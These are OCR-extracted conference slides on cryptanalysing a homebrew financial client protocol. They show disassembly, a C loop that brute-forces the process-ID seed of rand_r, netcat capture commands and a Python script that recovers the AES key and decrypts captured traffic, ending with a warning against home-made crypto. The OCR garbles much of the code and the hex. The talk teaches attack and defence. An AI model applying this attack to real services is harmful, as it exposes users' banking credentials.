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There’s worse than SSL
it’s hard to get a homebrew protocol right




Scenario

* EXxecutable used as client for exchanging

financial information
* (including on-line banking credentials)
« Server only available as a service
* (no executable)
* No source code available

* Proprietary protocol
« (allegedly encrypted)




Network traffic analysis

* Wireshark for capturing network traffic and
stream reconstruction

* Flow tools for differential analysis
https://github.com/silentsignal/flowtools
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Wireshark follow stream

Stream Content

Entire conversation (576 bytes)

fés masként | Myomtatas ASCI EBCDIC Hex Dump

Filter Out This Stream




Flow tools diff analysis
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$ echo -n "3887445763049443798084143612905481208458780844808666619\
2A94615553303371984322881" | shalsum
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What we know so far

 Client sends two numbers

« Server sends one number

 Client sends one number

* This is followed by frames of
n X 16 bytes




What we can deduce

 Client sends two numbers
« Server sends one number
 Client sends one number

« Diffie-Hellman key exchange?

* This is followed by frames of
n X 16 bytes
* Matches AES block size!




Diffie-Hellman Key Exchange

» Alice and Bob agree to use a prime number p = 23 and base g =5 (which is
a primitive root modulo 23).
» Alice chooses a secret integer a = 6, then sends Bob A= g2 mod p
« A=5mod23=8
« Bob chooses a secret integer b = 15, then sends Alice B = g° mod p
« B=5%mod23=19
» Alice computes s = B2 mod p
e s=19%mod23=2
« Bob computes s = AP mod p
e s=8"mod23=2
Alice and Bob now share a secret (the number 2).

Source: https://en.wikipedia.orag/wiki/Diffie-Hellman
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Alice

Bob

Common paint

Secret colours

Public transport

(assume
that mixture separation

is expensive) = -y

Secret colours

Common secret



Static binary analysis of client

« Find out if Diffie-Hellman is used

« Find out how the AES key is derived from DH secret

« Disassemble and partially decompile using reverse
https.//github.com/joelpx/reverse
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System V AMD64 ABI

The calling convention of the System V AMD64 ABI is
followed on Solaris, Linux, FreeBSD, Mac OS X, and
other UNIX-like or POSIX-compliant operating systems.
The first six integer or pointer arguments are passed in
registers RDI, RSI, RDX, RCX, R8, and R9

Source: https://en.wikipedia.org/wiki/
X86 _calling_conventions
#System_V_AMDG64_ABI
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Diffie-Hellman in practice

Bx4B0d34: esi = 88 # mov esi, Bx50

BxdABBd39: call Bxd01833 (.text) <send_packet>

BxdABWd3e: call Bx40117b (.text) <recv_packet>

Bx4ABBd43: test rax, rax

Bx480d4b: rbp = rax # mov rbp, rax

# Bx400d49: jne Bx488d6b

if == {
BxdBBddb: rsi = x(BxbB1861) # mov rsi, qword ptr [rip + Bx200b16]
Px4pPAd52: edi = BxdP12e3 (.rodata) "Invalid hash\n" # mov edi, Bxd4812e3
UxABBd5Y: call BxdBdbabd (.plt) <fputs@plt>
Bx48Bd5c: eax = 1 # mov eax, 1
BxA0Bdb1: jmp Bx480ed’?

} else {
BxABBdbb: rdx = &(x(rsp + 118)) # lea rdx, quword ptr [rsp + Bx76]
BxdBBdbb: rsi = &(x(rsp + 37)) # lea rsi, qword ptr [rsp + Bx25]
Bx4AB0d780: rdi = rax # mov rdi, rax
UxABBd73: call Bx4B0TE5 (,text) <dec_pow>
Bx48Bd78: rdx = &(x(rsp + 118)) # lea rdx, quword ptr [rsp + Bx76]
Bx408d7d: rsi = &(x(rsp + 37)) # lea rsi, qword ptr [rsp + Bx25]
Bx4ABAdB2: rdi = &(x(rsp + 199)) # lea rdi, qword ptr [rsp + Bxc'7]
BxdBBdBa: rl12 = rax # mov rl12, rax
UxdBBd8d: call Bxd480TE5 (.text) <dec_pow>
Bx4AB0d92: esi = B # xor esi, esi
Bx480d94: rdi = rax # mov rdi, rax
BxABBd97: call Bx481833 (.text) <send_packet>



DH to Key Derivation

Bx480d97? :
Bx400d9c :
BxddBdal :
BxddBdad
Bx40lda9g
Bx48Bdb1 :
Bx488dbb :
Bx400dcH

call BxdB1833 (.
rdi &(x(rsp +
rsi r12 # mov
call Bxd4BBT46 (.,
rdi = &(x(rsp +
*x(U=xbB18be) = 0
call BxdBBaed (,
call BxdBBaald (,

text) <send_packet>

21)) # lea rdi, qword ptr [rsp + Bx15]
rei, ri12

text) <gen_aes_key>

280)) # lea rdi, quword ptr [rsp + Bx118]
#t mov dword ptr [rip + BxZ28Babdl, 8

plt) <EVP_CIPHER_CTX_init@plt>

plt) <EVP_aes_128_ecb@plt>




Key Derivation

reverse > python3 reverse.py -x gen_aes_key “/_projekt/ethackconf2815/victim/client
function gen_aes_key {
Bx4ABBT4Ab: eax = @ # xor eax, eax
loop {
BrABBTA8: edx = x(rsi + (raxx2)) # movsx edx, byte ptr [rsi + raxx?]
BxABBTAc: cl = x(rsi + (raxx2) + 1) # mov cl, byte ptr [rsi + raxx? + 1]
Bxd0Bf50: ecx —= 48 # sub ecx, Bx30
Bx40BT53: edx <<= 4 # shl edx, 4
BxABBTOL: edx 1= ecx # or edx, ecx
Bx4ABBT58: %(rdi + rax) = dl # mov byte ptr [rdi + raxl, dl
BxABBT5OD: rax++ # inc rax
#f Bx4BBf5e: cmp rax, Bx10
# Bx4B0T62: jne Bx4BB148
1t (rax == 1b) goto Bx480fb4

}
Ux4AAAtbd: ret




Are we there yet?

 We managed to mount a MitM attack against
the service — great, let's go celebrate!

« What if we cannot modify the traffic?

 Diffie-Hellman key exchange is pretty robust

* Look for the weakest link

* Where do the DH
parameters
come from?




The source of DH parameters

Bx400cT1:
Bx4BAcTh
Bx400cTh:
Bx400d41 :
Bx400d06 :
Bx400ddb :
Bx400d10:
Bx400d18:
Bx400d1d:
Bx400d22 :
Bx400d27 .
Bx4BAd2c :
Bx400d34:
Bx400d39:

call Bx4bBb28 (.,plt) <getpid@plt>

rdi = &(x(rsp + 37)) # lea rdi, qword ptr [rsp + BxZ25]
x(rand_seed) = eax # mov dword ptr [rip + Bx280b831, eax
call Bx4¥Btftb (. text) <gen_key>

rdi = &(x(rsp + 118)) # lea rdi, quword ptr [rsp + Bx76]
call Bx4¥Btftb (. text) <gen_key>

rdi = &(x(rsp + 199)) # lea rdi, quword ptr [rsp + Bxc7]
call Bx4¥Btftb (. text) <gen_key>

rdi &(x(rsp + 118)) # lea rdi, qword ptr [rsp + Bx76]
esi 84 # mov esi, BxbU

call Bx4B1833 (. text) <send_packet>

rdi = &(x(rsp + 199)) # lea rdi, quword ptr [rsp + Bxc7]
esi = 88 #f mov esi, Bx5H

call Bx4P1833 (.text) <send_packet>




DH Parameter Generator

gen_key {
BxABBT T push rl12
BxABBT18: r12d = 18 # mov rl12d, Bxa
BxdBBffe: push rbp
BxABBfff: ebp = @ # xor ebp, ebp
BxdA0d1881: push rbx
Bxd018082: rbx = rdi # mov rbx, rdi
{
Px401005: edi = Bx6B1884 (.bss) "" <rand_seed> # mov edi, Bx601884
Bxd48108a: Bx4ABbbdy (.plt) <rand_r@plt>
Bx481081: cdq
BxdB1018: eax = edx:eax / rl12d; edx = edx:eax % rl12d # idiv rl12d
Bxd01813: edx += 48 # add edx, Bx38
Bx4B1016: %(rbx + rbp) = dl # mov byte ptr [rbx + rbpl, dl
Bx401019: rbp++ # inc rbp

# Bxd40181c: cmp rbp, Bx50
#t Bx401828: jne Bx481005

(rbp =

= 80)

Bx401022

}
it Bxd401822: cmp byte ptr [rbx]l, Bx30
#t Bxd401825: jne Bx48102a

(x(rbx) == '8') {
PxdAP1027: %(rbx) = '1' # mov byte ptr [rbx1, Bx31
}
PxdA1B2a: %(rbx + 88) = '\B' # mov byte ptr [rbx + Bx501, @



Finding Nemeo rand _r

$ 1dd client

linux-vdso.so.1l (0x00007fffeabtdooo)
libcrypto.so0.1.0.0 => /usr/1lib/x86_64-1inux-gnu/libcrypto.so0.1.0.0 (©0x00007f52blac6000)

libc.so.6 => /1ib/x86 64-linux-gnu/libc.so.6 (©x00007f52b171d000)
libdl.so0.2 => /1ib/x86_64-1inux-gnu/libdl.so.2 (©x00007f52b1518000)
/1ib64/1d-1inux-x86-64.50.2 (0x00007f52blefado0)

$ file -L /1ib/x86 64-1linux-gnu/libc.so0.6

/1ib/x86 64-1linux-gnu/libc.so.6: ELF 64-bit LSB shared object, x86-
64, version 1 (GNU/Linux), dynamically linked, interpreter
/1ib64/1d-1inux-x86-64.s0.2,
BuildID[shal]=bbd9e94cla7dacf41f2785243900545dbd634a29, for
GNU/Linux 2.6.32, stripped

$ readelf -s /lib/x86 64-linux-gnu/libc.so.6 | grep rand_r

963: 0000000VVV38b50 80 FUNC GLOBAL DEFAULT 12

rand_r@@GLIBC_2.2.5




Dissecting rand_r

reverse > python3 reverse.py —x Bx38b58 ——datasize 1 "/_projekt
function Bx38b50 {
Bx38b508: eax
Bx38b527: ecx
Bx38b58: ecx

*(rdi) # mov eax, dword ptr [rdil

eax * 1103515245 # imul ecx, eax, Bxd41cbdebd
= Ux3039 # add ecx, Bx3439

Bx38b5e: eax ecx #f mov eax, ecx

Bx38bbB: ecx ecx *x 1183515245 # imul ecx, ecx, Bxd1lcbdebd
Bx38bbb: eax >>= b # shr eax, b

Ux38bb9: eax &= 2096128 # and eax, Bx1ffcHAa
Bx38bbe: ecx += Bx3B39 # add ecx, Bx3839
Bx38b74: edx = ecx # mov edx, ecx

Bx38b76: ecx = ecx x 1183515245 # imul ecx, ecx, Bxd1lcbdebd
Bx38b7c: edx >>= 1b # shr edx, Bx10

Bx38b71: edx &= Bx3Tf # and edx, Bx3ff

Bx38b85: eax "= edx # xor eax, edx

Bx38b8B7: ecx += Bx3039 # add ecx, Bx3839

Bx38b8d: eax <<= 18 # shl eax, Bxa

Bx38b98: edx = ecx # mov edx, ecx

Bx38b92: *(rdi) = ecx # mov dword ptr [rdil, ecx

Bx38b94: edx >>= 1b # shr edx, Bx18

Bx38b97: edx &= Bx3ff H and edx, Ox3ff

B%x38b9d: eax "= edx # xor eax, edx

Bx38b9f: ret

-+



What we know so far

« Diffie-Hellman parameters are

80 digit numbers
« Digits are filled from left to right using
the least significant decimal digit of
the return value of rand _r
« The seed is the OS process ID
« Getting the next number is fast
« There are 2% =32 768 PIDs on a
Linux system by default
« OpenSSL, anyone?
« |f it starts with zero, replace with 1




Brute forcing the process ID

for (1 = 0; 1 < 32768; i++) {
unsigned int seed = i;
for (j = 0; j < 80; j++) test(&seed);
for (j = 0; value[j]; j++) {
if (test(&seed) % 10 + '@' != value[j]) break;

}
if (!value[j]) printf("pid = %d\n", 1i);

¥

unsigned int test(unsigned int *rdi) {
unsigned int eax, ecx, edx;
eax = *(rdi);
ecx = eax * 1103515245;

return eax;




Brute forcing the process ID

$ (nc -1p 7001 | hd) & ; sleep 1 ; ./client secretmessage &

[1] 8395
[2] 8399
0000 00 00 0O 00 0O 00 00 50 00 00 00 00 6e 68 17 14 |....... P....nh..|
000010 88 ad ca 84 e3 d6 15 f9 8b 19 4a 54 4f 5b a4 d5 |.....n.... JTO[ . . |

00000020 32 33 34 38 32 34 38 37 39 34 30 35 39 36 35 32 |2348248794059652|
00000030 37 37 34 39 30 36 37 31 32 39 39 37 32 37 32 33 |7749067129972723|
00000040 39 38 38 37 34 39 39 30 39 39 37 37 37 30 35 39 |9887499099777059 |
00000050 36 37 36 32 39 31 36 39 38 31 33 31 38 32 31 32 |6762916981318212|
00000060 30 36 30 31 38 35 35 39 39 33 35 34 37 35 30 35 |@©601855993547505 |

[1] + 8395 suspended (tty input) ( nc -1p 7001 | hd; )

$ time ./glibcrand 2348248794059652
pid = 8399
... 0,02s user 0,00s system 97% cpu 0,027 total




Dumping TCP PSH packets

Filter: | tcp.stream eq 1 and tcp flags.push eq 1 Expression...

1.831165AF 12V, A.8,.1 127.8.8.1 178 33513+7/881 [PSH, ACK] 3eq=113 Ack=1
1,981A%A68E 127.8.8.1 127V.A.8.1 175 7PB1+33515 [PSH, ACK] Seg=1 Ack=2E5
1,98163568F 127.8.8.1 12V.A.8.1 178 33513+7/881 [PSH, ACK] 3eq=225 Ack=113
1.9a1679RE 127, 8.8,1 127.8.8.1 194 33513+7/881 [FIH, P3H, ACK] 3eg=337 AG

File Edit WView Go Capture Analyze Statistics T4 Packet Range

vpen... Captured Displayed
Open Recent
P e All packets
Merge...
Selected packet only
Import from Hex Dump...

Close

Save 2 o
Specify a packet range:
Save As...

File Set

Export Packet Dissections File type: Wiresharkjtcpdump/...-pcap Compress with gzip




Decrypting captured data

Regenerate DH secret from OS PID value
Read and dissect packets from PCAP

Extract public DH params and encrypted data
Derive AES key and decrypt payload

https://jon.oberheide.org/blog/2008/10/15/
dpkt-tutorial-2-parsing-a-pcap-file/
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Emulation in Python

byref(c_uint(int(argv[1l])))
cdll.LoadLibrary('./glibcrand.so').test

seed
test

p = int(''.join(str(test(seed) % 10) for _ in xrange(80)))

tcps = [ethernet.Ethernet(buf).data.data for ts, buf
in pcap.Reader(file('/tmp/psh.pcap’))]

int(tcps[@].data[-80:])
int(tcps[2].data[-80:])

m
)

cs = pow(s, p, m)
key = unhexlify(str(cs)[:32])
print AES.new(key).decrypt(tcps[4].data[32:])




Emulation in Python

$ python params.py 8399 | hd
0000000 0O 00 PO Pa OC OC OC OC OC OC OC BC OC OC OC OC |.ovvvvvrvnnnnnn. |
000010 93 c2 e6 a4 d2 32 9e ca 58 9e 26 97 44 1d 80 5f |..... 2..X.&.D.. |
00000020 67 6C 7a 3b ad e3 a3 b8 5e a6 d4 a5 4b 47 3f 4c |glz;....~...KG?L|
0000030 6b 69 62 65 72 74 69 74 30 6b 06 06 06 06 06 06 |kibertitok...... |
000040 af 70 ©3 a6 69 db be ca 73 21 86 65 8b ce 71 94 |.p..i...s!.e..q.]|
000050 13 49 d9 fa 60 68 17 3c 62 da 31 70 28 d8 @b bo |.
|

I.. h.<b.1p(...]|
00000060 ©a N




Conclusion

* You do not roll your own crypto.
* You DO NOT roll you own crypto.

« Secure random is essential
« (can be tricky on the go and

In VMs or the cloud)
 Authentication is essential

« Security by obscurity doesn’t work




Dumb Crypto in Smart Grids:
Practical Cryptanalysis of the Open Smart Grid Protocol

Philipp Jovanovic! and Samuel Neves?

! University of Passau, Germany
jovanovic@fim.uni-passau.de
? University of Coimbra, Portugal
sneves@dei.uc.pt

Abstract. This paper analyses the cryptography used in the Open
Smart Grid Protocol (OSGP). The authenticated encryption (AE) scheme
deployed by OSGP is a non-standard composition of RC4 and a home-
brewed MAC, the “OMA digest”.




‘ Matthew Green

So apparently the smart grid crypto
protocols are so broken that researchers
have to invent faster attacks... just to
challenge themselves.

LENSSAEEE

W Alyssa Rowan

matthew_d_green "a non-standard composition of RC4 and a home-brewed
MAC" - | just threw up in my mouth a little. :/

i Terry Smith @Prognosticus - 60:
i matthew d_green The first rule of crypto is don't do your own crypto....




Thanks for your attention!



